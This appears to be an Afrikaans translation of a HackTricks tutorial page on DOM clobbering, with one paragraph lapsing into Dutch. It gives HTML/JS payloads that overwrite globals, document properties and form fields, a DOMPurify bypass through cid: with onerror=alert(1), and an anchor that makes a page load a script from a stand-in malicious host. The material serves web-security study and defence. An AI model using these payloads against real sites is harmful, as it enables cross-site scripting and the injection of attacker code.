Dom Clobbering

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Basics

Dit is moontlik om globale veranderlikes binne die JS-konteks te genereer met die eienskappe id en name in HTML-etikette.

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

Slegs sekere elemente kan die name attribuut gebruik om globale waardes te oorskryf, dit is: embed, form, iframe, image, img en object.

Interessant genoeg, wanneer jy 'n form element gebruik om 'n veranderlike te oorskryf, sal jy die toString waarde van die element self kry: [object HTMLFormElement] maar met 'n anchor sal die toString die anchor se href wees. Daarom, as jy oorskryf met die a tag, kan jy die waarde beheer wanneer dit as 'n string behandel word:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Rye & Eienskappe

Dit is ook moontlik om 'n rye en eienskappe van 'n voorwerp te oorheers:

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

Om 'n derde eienskap (bv. x.y.z) te oorskryf, moet jy 'n form gebruik:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

Die oorskryf van meer eienskappe is meer ingewikkeld maar steeds moontlik, deur iframes te gebruik:

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

Die style-etiket word gebruik om genoeg tyd te gee vir die iframe om te render. Sonder dit sal jy 'n waarskuwing van 'undefined' kry.

Om dieper eienskappe te oorskryf, kan jy iframes met HTML-kodering gebruik op die volgende manier:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

Filter Bypassing

As 'n filter deur die eienskappe van 'n nodus loop deur iets soos document.getElementByID('x').attributes, kan jy die eienskap .attributes oorheers en die filter breek. Ander DOM-eienskappe soos tagName, nodeName of parentNode en meer is ook oorheersbaar.

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

Clobbering window.someObject

In JavaScript is dit algemeen om te vind:

var someObject = window.someObject || {};

Die manipulasie van HTML op die bladsy maak dit moontlik om someObject te oorskryf met 'n DOM-node, wat potensiële sekuriteitskwessies kan veroorsaak. Byvoorbeeld, jy kan someObject vervang met 'n anker-element wat na 'n skadelike skrips verwys:

<a id=someObject href=//malicious-website.com/malicious.js></a>

In 'n kwesbare kode soos:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

Hierdie metode maak gebruik van die skripsbron om ongewenste kode uit te voer.

Truuk: DOMPurify stel jou in staat om die cid: protokol te gebruik, wat dubbele aanhalingstekens nie URL-kodeer nie. Dit beteken dat jy 'n gekodeerde dubbele aanhalingsteken kan inspuit wat tydens uitvoering gedekodeer sal word. Daarom sal die inspuiting van iets soos <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> die HTML-gekodeerde &quot; tydens uitvoering gedekodeer en ontsnap uit die attribuutwaarde om die onerror gebeurtenis te skep.

'n Ander tegniek maak gebruik van 'n form element. Sekere kliëntkant-biblioteke ondersoek die eienskappe van 'n nuut geskepte vormelement om dit skoon te maak. Deur egter 'n input met id=attributes binne die vorm by te voeg, oorskryf jy effektief die eienskappe-eienskap en voorkom dat die sanitiseerder toegang tot die werklike eienskappe verkry.

Jy kan 'n voorbeeld van hierdie tipe oorskrywing in hierdie CTF-verslag vind.

Oorskryf van die dokumentobjek

Volgens die dokumentasie is dit moontlik om eienskappe van die dokumentobjek te oorskryf deur gebruik te maak van DOM-oorskrywing:

Die Document koppelvlak ondersteun genoemde eienskappe. Die ondersteunde eienskapsname van 'n Document-objektdokument op enige oomblik bestaan uit die volgende, in boomvolgorde volgens die element wat dit bydra, waarby latere duplikate geïgnoreer word, en met waardes van id-eienskappe wat voor waardes van naam-eienskappe kom wanneer dieselfde element beide bydra:

- Die waarde van die naam-inhoudseienskap vir alle blootgestelde embed, form, iframe, img, en blootgestelde object-elemente wat 'n nie-leë naam-inhoudseienskap het en in 'n dokumentboom met die dokument as hul wortel is; - Die waarde van die id-inhoudseienskap vir alle blootgestelde object-elemente wat 'n nie-leë id-inhoudseienskap het en in 'n dokumentboom met die dokument as hul wortel is; - Die waarde van die id-inhoudseienskap vir alle img-elemente wat beide 'n nie-leë id-inhoudseienskap en 'n nie-leë naam-inhoudseienskap het, en in 'n dokumentboom met die dokument as hul wortel is.

Met behulp van hierdie tegniek kan jy algemeen gebruikte waardes soos document.cookie, document.body, document.children en selfs metodes in die Document-koppelvlak soos document.querySelector oorskryf.

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Skryf nadat die element oorskryf is

Die resultate van oproepe na document.getElementById() en document.querySelector() kan verander word deur 'n <html> of <body> tag in te spuit met 'n identiese id-eienskap. Hier is hoe dit gedoen kan word:

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>

Verder kan de doeltreffendheid van de aanval worden verbeterd door stijlen te gebruiken om deze ingevoegde HTML/body-tags te verbergen en interferentie van andere tekst in de innerText te voorkomen:

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Ondersoeke na SVG het aan die lig gebring dat 'n <body>-etiket ook doeltreffend gebruik kan word:

<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Vir die HTML-etiket om binne SVG te funksioneer in webblaaier soos Chrome en Firefox, is 'n <foreignobject>-etiket nodig:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Oorweldiging van Vorms

Dit is moontlik om nuwe inskrywings binne 'n vorm by te voeg deur eenvoudig die form attribuut te spesifiseer binne sekere etikette. Jy kan dit gebruik om nuwe waardes binne 'n vorm by te voeg en selfs 'n nuwe knoppie om dit te stuur (clickjacking of misbruik van sommige .click() JS-kode):

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Last updated